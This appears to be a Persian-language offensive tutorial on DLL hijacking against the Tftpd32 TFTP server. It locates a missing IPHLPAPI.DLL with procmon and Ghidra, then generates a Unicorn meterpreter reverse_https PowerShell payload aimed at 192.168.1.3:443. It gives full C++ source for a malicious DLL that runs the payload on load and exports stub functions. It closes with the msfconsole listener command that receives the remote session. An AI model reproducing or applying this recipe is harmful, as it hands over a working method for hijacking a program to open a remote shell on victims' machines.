DLL Hijacking

خب اول از همه ما به چند برنامه نیاز داریم یک دیباگر Ghidra که محصول سازمان NSA هست دوم Java JDK 11 برای اجرای این دیباگر سوم یک برنامه قربانی که من Tftpd32 v3.50 رو انتخاب کردم و نهایتا مجموعه ابزارهای Sysinternals که ما در این برنامه ها به procmon برای پیدا کردن DLL های فراخوانی شده نیازمند هستیم اکی من لینک این برنامه هارو در زیر قرار میدم

https://ghidra-sre.org/
https://www.oracle.com/technetwork/java/javase/downloads/jdk11-downloads-5066655.html
http://tftpd32.jounin.net/tftpd32_download.html
https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

البته نرم افزار Visual Studio برای نوشتن و Compile فایل DLL مورد نظر خودمون هم نیازه که اون رو خودتون تهیه کنید اکی, اولین قدم ما اینه که برنامه Tftpd32 رو بر روی ویندوزمون نصب کنیم و قبل از اجرا شدنش برنامه Procmon رو اجرا و از قسمت منو …Filter هارو انتخاب و سه فیلتر با مشخصات زیر ایجاد کنید

Process Name -> containts -> Tftpd32
Result -> contains -> NOT
Path -> ends with -> dll

خب در قسمت Display entries matching these conditions ایتم های بالا رو ست کنید و بعد از ساخت این سه فیلتر برنامه Tftpd32 رو اجرا کنید خواهید دید که 5 ایتم که Result اونها NAME NOT FOUND بوده صدا زده شده اکی مناسب ترین گزینه, گزینه زیر هستش

C:\Program Files (x86)\Tftpd32\IPHLPAPI.DLL

اکی ما هویت DLL که میخواهیم اون رو ساخته و در روند اجرایی برنامه صدا کنیم رو مشخص کردیم حالا میبایست نقاط ورود برناه به DLL مورد نظر رو با دیباگر پیدا کنیم و توابع اون رو تعریف و interupt بدیم تا اگر برنامه اون توابع رو صدا زد به دلیل نبود اون توابع کرش نکته برای اینکار برنامه رو با Ghidra باز میکنیم اینکارو با Drag و Drop میتونید راحت انجام بدید, بعد از باز شدن برنامه توسط دیباگر شما یک قسمت سمت چپ پایین دیباگر خواهید دید با نام Imports اونجا Header ها و DLL هایی که توابعی دارند که در برنامه Import میشوند رو لیست کرده اگر دقت کنید DLL مربوطه به گزینه انتخابی مورد نظر مارو خواهید دید منظورم IPHLPAPI.DLL هستش و اگر اون رو باز کنید میبینید که سه تابع فراخوانی میکنه در برنامه اکی پس در DLL پایلود ما سه تابع با نام های SendARP – GetIpNetTable – DeleteIpNetEntry تعریف خواهیم کرد که میتونیم اونهارو با اجرای ماشین حساب از فراخوانی شدنشان مطلع کنیم من قبل از اینکه برم سراغ ساخت DLL میخوام یک پایلود پاورشل بیس بسازم برای استفاده در DLL برای اینکار از Script معروف Unicorn کمک میگیریم با دستور زیر پایلود به دست میاد شما فقط LHOST خودتون رو معرفی کنید همین

Open KaliApp
root@unk9vvn:~# git clone https://github.com/trustedsec/unicorn.git;cd unicorn;chmod 755 *;./unicorn.py windows/meterpreter/reverse_https 192.168.1.3 443;cat powershell_attack.txt
powershell /w 1 /C “s”v Qy -;s”v…….

خب میبینیم که پایلود ما آمادس حالا ما برنامه Visual Studio رو باز کرده و یک پروژه از نوع DLL رو درخواست میکنیم و در قسمت dllmain.cpp کد زیر رو Paste میکنیم

#include “stdafx.h”
#include

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system(“powershell /w 1 /C \”s”v uh -;s”v ge e”c;s”v jN ((g”v uh).value.toString(JABOAGwAPQAnACQAaQBDAD0A…)+(g”v ge).value.toString());powershell (g”v jN).value.toString() (”+’=’)\””);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern “C” __declspec(dllexport) void SendARP()
{
WinExec(“calc”, SW_NORMAL);
}

extern “C” __declspec(dllexport) void GetIpNetTable()
{
WinExec(“calc”, SW_NORMAL);
}

extern “C” __declspec(dllexport) void DeleteIpNetEntry()
{
WinExec(“calc”, SW_NORMAL);
}

دقت کنید که پایلود پاورشلی رو زمانی که Paste میکنید در تابع system حتما دابل کوتیشن های اون رو خنثی کنید تا با دابل کوتیشن های خود تابع یکی گرفته نشه اکی حالا برنامه dllmain.cpp رو کامپایل گرفته و اون رو به دایرکتوری برنامه انتقال و نام اون رو با نام DLL مشخص شده ما در قسمت Procmon یکی کنید که میشه IPHLPAPI.DLL حالا مونده قسمت آخر به KaliApp برگردید و Metasploit رو با استفاده از Recovery Console که خود Unicorn ساخته بر روی حالت Listing قرار بدید با دستور زیر

root@unk9vvn:~/unicorn# msfconsole -q -r unicorn.rc

اکی حالا برنامه رو باز کنید تا مثل تصویر پست باز شدن Session رو مشاهده کنید…
@Unk9vvN